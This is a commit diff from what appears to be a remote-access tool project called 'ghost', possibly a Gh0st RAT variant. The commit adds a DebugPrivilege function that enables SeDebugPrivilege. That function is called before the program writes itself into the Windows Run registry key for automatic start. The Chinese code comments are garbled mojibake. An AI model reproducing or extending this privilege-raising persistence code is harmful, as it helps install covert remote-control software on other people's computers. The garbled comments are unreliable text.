TestRun提升权限
TestRun在写入开机自启动项时先提升权限,以防止因权限不足而写注册表失败。
This commit is contained in:
@@ -193,3 +193,6 @@ ghost项目采用VS2012 xp模式编译,以便支持在XP系统上运行。
|
||||
2019.4.19
|
||||
1、TestRun读取配置文件改为setting.ini,配置项为 [settings] localIp 和 ghost。
|
||||
2、CAudio的线程waveInCallBack在while循环有一处return,已改为break.
|
||||
|
||||
2019.4.20
|
||||
TestRun在写入开机自启动项时先提升权限,以防止因权限不足而写注册表失败。
|
||||
|
||||
@@ -24,6 +24,27 @@ struct CONNECT_ADDRESS
|
||||
int iPort;
|
||||
}g_ConnectAddress={0x1234567,"",0};
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
|
||||
void DebugPrivilege()
|
||||
{
|
||||
HANDLE hToken = NULL;
|
||||
//<2F><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>̵ķ<CCB5><C4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int hRet = OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hToken);
|
||||
|
||||
if( hRet)
|
||||
{
|
||||
TOKEN_PRIVILEGES tp;
|
||||
tp.PrivilegeCount = 1;
|
||||
//ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><EFBFBD>LUID
|
||||
LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);
|
||||
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD>Ȩ<EFBFBD><C8A8>
|
||||
AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
|
||||
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
* @param[in] *sPath ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
|
||||
@@ -35,6 +56,8 @@ struct CONNECT_ADDRESS
|
||||
*/
|
||||
BOOL SetSelfStart(const char *sPath, const char *sNmae)
|
||||
{
|
||||
DebugPrivilege();
|
||||
|
||||
// д<><D0B4><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
|
||||
#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
|
||||
|
||||
@@ -103,6 +126,9 @@ int main(int argc, const char *argv[])
|
||||
while(bStop && !bStop() && 0 == status)
|
||||
Sleep(20);
|
||||
} while (bExit && !bExit() && 0 == status);
|
||||
|
||||
while(bStop && !bStop() && 1 == status)
|
||||
Sleep(20);
|
||||
}
|
||||
status = 0;
|
||||
return -1;
|
||||
|
||||
Reference in New Issue
Block a user